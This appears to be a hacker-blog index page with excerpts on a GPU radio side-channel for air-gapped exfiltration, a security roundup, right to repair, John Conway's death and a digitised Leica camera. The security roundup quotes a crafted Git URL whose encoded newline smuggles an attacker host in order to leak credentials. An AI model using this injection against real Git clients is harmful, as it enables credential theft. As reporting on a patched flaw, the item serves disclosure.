GPU Turned Into Radio Transmitter To Defeat Air-Gapped PC

April 24, 2020 by Dan Maloney 31 Comments

Another week, another exploit against an air-gapped computer. And this time, the attack is particularly clever and pernicious: turning a GPU into a radio transmitter.

The first part of [Mikhail Davidov] and [Baron Oldenburg]’s article is a review of some of the basics of exploring the RF emissions of computers using software-defined radio (SDR) dongles. Most readers can safely skip ahead a bit to section 9, which gets into the process they used to sniff for potentially compromising RF leaks from an air-gapped test computer. After finding a few weak signals in the gigahertz range and dismissing them as attack vectors due to their limited penetration potential, they settled in on the GPU card, a Radeon Pro WX3100, and specifically on the power management features of its ATI chipset.

With a GPU benchmarking program running, they switched the graphics card shader clock between its two lowest power settings, which produced a strong signal on the SDR waterfall at 428 MHz. They were able to receive this signal up to 50 feet (15 meters) away, perhaps to the annoyance of nearby hams as this is plunk in the middle of the 70-cm band. This is theoretically enough to exfiltrate data, but at a painfully low bitrate. So they improved the exploit by forcing the CPU driver to vary the shader clock frequency in one megahertz steps, allowing them to implement higher throughput encoding schemes. You can hear the change in signal caused by different graphics being displayed in the video below; one doesn’t need much imagination to see how malware could leverage this to exfiltrate pretty much anything on the computer.

It’s a fascinating hack, and hats off to [Davidov] and [Oldenburg] for revealing this weakness. We’ll have to throw this on the pile with all the other side-channel attacks [Samy Kamkar] covered in his 2019 Supercon talk.

Continue reading “GPU Turned Into Radio Transmitter To Defeat Air-Gapped PC” →

This Week In Security: Nintendo Accounts, Pernicious Android Malware, And An IOS 0-day

April 24, 2020 by Jonathan Bennett 8 Comments

A rash of Nintendo account compromises has made the news over the last week. Nintendo’s official response was that they were investigating, and recommended everyone enabled two factor authentication on their accounts.

[Dan Goodin] over at Ars Technica has a canny guess: The compromised accounts were each linked to an old Nintendo Network ID (NNID). This is essentially a legacy Nintendo account — one made in the Wii U and 3DS era. Since they’re linked, access via the NNID exposes the entire account. Resetting the primary account password doesn’t change the NNID credentials, but turning on two factor authentication does seem to close the loophole. There hasn’t yet been official confirmation that NNIDs are responsible, but it seems to fit the situation. It’s an interesting problem, where a legacy account can lead to further compromise.

Just Can’t Lose You: xHelper

xHelper, an Android malware, just won’t say goodbye. xHelper looks like a cleaner application, but once installed it begins rather stubbornly installing itself via the Triada trojan. The process begins with rooting the phone, and then remounting /system as writable. Binaries are installed and startup scripts are tampered with, and then the mount command itself is compromised, preventing a user from following the same steps to remove the malware. Additionally, if the device has previously been rooted, the superuser binary is removed. This combination of techniques means that the infection will survive a factory reset. The only way to remove xHelper is to flash a clean Android image, fully wiping /system in the process. Continue reading “This Week In Security: Nintendo Accounts, Pernicious Android Malware, And An IOS 0-day” →

Right To Repair: Tractor Manufacturers Might Have Met Their Match In Australia

April 21, 2020 by Jenny List 60 Comments

The simmering duel between farmers and agricultural machinery manufacturers over access to the software to unlock the DRM which excludes all but the manufacturer’s agents from performing repairs goes on. How this plays out will have implications for the right to repair for everyone on many more devices than simply tractors. Events so far have centred on the American Midwest, but there is an interesting new front opening up in Australia. The Aussie government consumer watchdog, the ACCC, is looking into the matter, and examining whether the tractor manufacturers are in breach of the country’s Competition and Consumer Act. As ABC News reports there is a dual focus, both of the DRM aspect and on the manufacturer’s harvesting and lock-in of customer farm data.

This is an exciting turn of events for anyone with an interest in the right to repair, because it takes the manufacturers out of the comfort zone of their home legal environment into one that may be less accommodating to their needs. If Aussie farmers force them to open up their platforms then it will benefit all of us, but even if it fails, the fact that the issue has received more publicity in a different part of the world can only be a good thing. There are still tractor manufacturers that do not load their machines with DRM, how long will it be we ask before the easy repairability of their products becomes a selling point?

There are many stories relating to this issue on these pages, our most recent followed the skirmishes in Nebraska.

Thanks Stuart Longland for the tip.

Header image, John Deere under Australian skies: Bahnfrend (CC BY-SA 4.0).

The Game That Launched 1,000 Hackers

April 18, 2020 by Elliot Williams 6 Comments

John Conway passed away this week. Even if you don’t know much about mathematics, you will probably know nearly everyone’s favorite cellular automata ruleset: Conway’s “Game of Life”. It’s so much a part of our cultural history, that proto-hacker Eric Scott Raymond suggested using the glider as the hacker emblem.

The idea that a very simple set of rules, applied equally and everywhere, could result in “life” was influential in my growth as a young hacker, and judging from the comments on our article about Conway, I’m not alone. But I won’t lie: I was a kid and thought that it could do much more than make pretty patterns on the screen. I was both right and wrong.

Although amazingly complex machines can be built in Conway’s Life, just check out this video for proof, in the end no grand unifying theory of cellular automata has emerged. As a research topic Conway’s chosen field of mathematics, cellular automata is a backwater. It didn’t really go anywhere. Or did it?

Implementing Conway’s Life in BASIC on a Tandy Color Computer was one of the first things that launched me on my geeky path. It ranks with MENACE: the matchbox-based machine learning algorithm from the 1960’s and an introduction to Markov Chains in the form of a random text generator in my young algorithmic life, all of which I incidentally read about in Martin Gardner’s column in “Scientific American”. Conway’s Life, along with some dumb horse-race game, also taught me about bad random-number generators: the screen would populate the same “randomly” every time on the old CoCo.

So maybe Conway didn’t want to be remembered just for his “Life” because it was a bit of a mathematical dead-end. But in terms of its impact on the world, an entire generation of hackers, and my own personal life, it was able to fill up significantly more than a screen full of pixels. Here’s to Conway, his “Life”, and everyone else who is inspiring the next. You’re not just gliders, you’re glider guns!

[Game of Life example shown in this article is John Conway’s Game of Life – 1.0 written in Python by Nick Jarvis and Nick Wayne]

This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

April 17, 2020 by Jonathan Bennett 8 Comments

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
Continue reading “This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation” →

John Horton Conway, Creator Of Conway’s Game Of Life, Has Died

April 13, 2020 by Mike Szczys 57 Comments

Programmers everywhere are familiar with Conway’s Game of Life: whether they’ve written a version themselves or simply seen the mesmerizing action resulting from the cellular automata, it’s a household name in all homes where code is spoken. On Saturday April 11th, 2020 its inventor and namesake, John Horton Conway passed away from COVID-19 at the age of 82.

Born in Liverpool, Conway received his PhD in mathematics in 1964 from Gonville and Caius College, Cambridge. He accepted a position at Sidney Sussex College, Cambridge which he held until joining the faculty of Princeton University in 1987. A brilliant mathematician, he received numerous awards and was well known for his work in combinatorial game theory, group theory, and theoretical physics.

Many readers will be familiar with his Doomsday algorithm which can be used to deduce the day of the week for any given date in your head. But by far the rockstar mathematics moment of developing Conway’s Game of Life in 1970 cements him a perpetual place of legend in computing lore. His original work on the concept used pencil and paper as the computing revolution had yet to make digital resources easily available, even to mathematics researchers like Conway.

The game uses an infinite grid of squares where all of the edges of the grid wrap around. Four simple rules (which can be boiled down to three if you’re clever) determine which cells live and which cells die during each frame of the “game”. The only parameters that are needed are the number and position of living cells at the start of the game, and the delay between each game frame. But the effect of this simplicity is not to be understated. The game can be coded by a novice — and it’s become a common challenge in University course work. Small errors, or intentional tweaks, in the implementation have profound effects on behavior of the game. And the effect on the person programming it for the first time can be long lasting. You could call it a mathematics gateway drug, grabbing the curiosity of the unsuspecting mind and pulling it down the rabbit hole of advanced mathematics discovery.

We’d love to celebrate his life by hearing your own stories of programming the Game of Life in the comments below. If you haven’t yet had the pleasure, now’s a great time to take on the challenge.

[Game of Life example shown in this article is John Conway’s Game of Life – 1.0 written in Python by Nick Jarvis and Nick Wayne]

Classic Leica Film Camera Turns Digital

April 10, 2020 by Bryan Cockfield 36 Comments

While there’s still a market for older analog devices such as vinyl records, clocks, and vacuum-tube-powered radio transmitters, a large fraction of these things have become largely digital over the years. There is a certain feel to older devices though which some prefer over their newer, digital counterparts. This is true of the camera world as well, where some still take pictures on film and develop in darkrooms, but if this is too much of a hassle, yet you still appreciate older analog cameras, then this Leica film camera converted to digital might just attract your focus.

This modification comes in two varieties for users with slightly different preferences. One uses a Sony NEX-5 sensor which clips onto the camera and preserves almost all of the inner workings, and the aesthetic, of the original. This sensor isn’t full-frame though, so if that’s a requirement the second option is one with an A7 sensor which requires extensive camera modification (but still preserves the original rangefinder, an almost $700 part even today). Each one has taken care of all of the new digital workings without a screen, with the original film advance, shutters, and other HIDs of their time modified for the new digital world.

The finish of these cameras is exceptional, with every detail considered. The plans aren’t open source, but we have a hard time taking issue with that for the artistry this particular build. This is a modification done to a lot of cameras, but seldom with so much attention paid to the “feel” of the original camera.

Thanks to [Johannes] for the tip!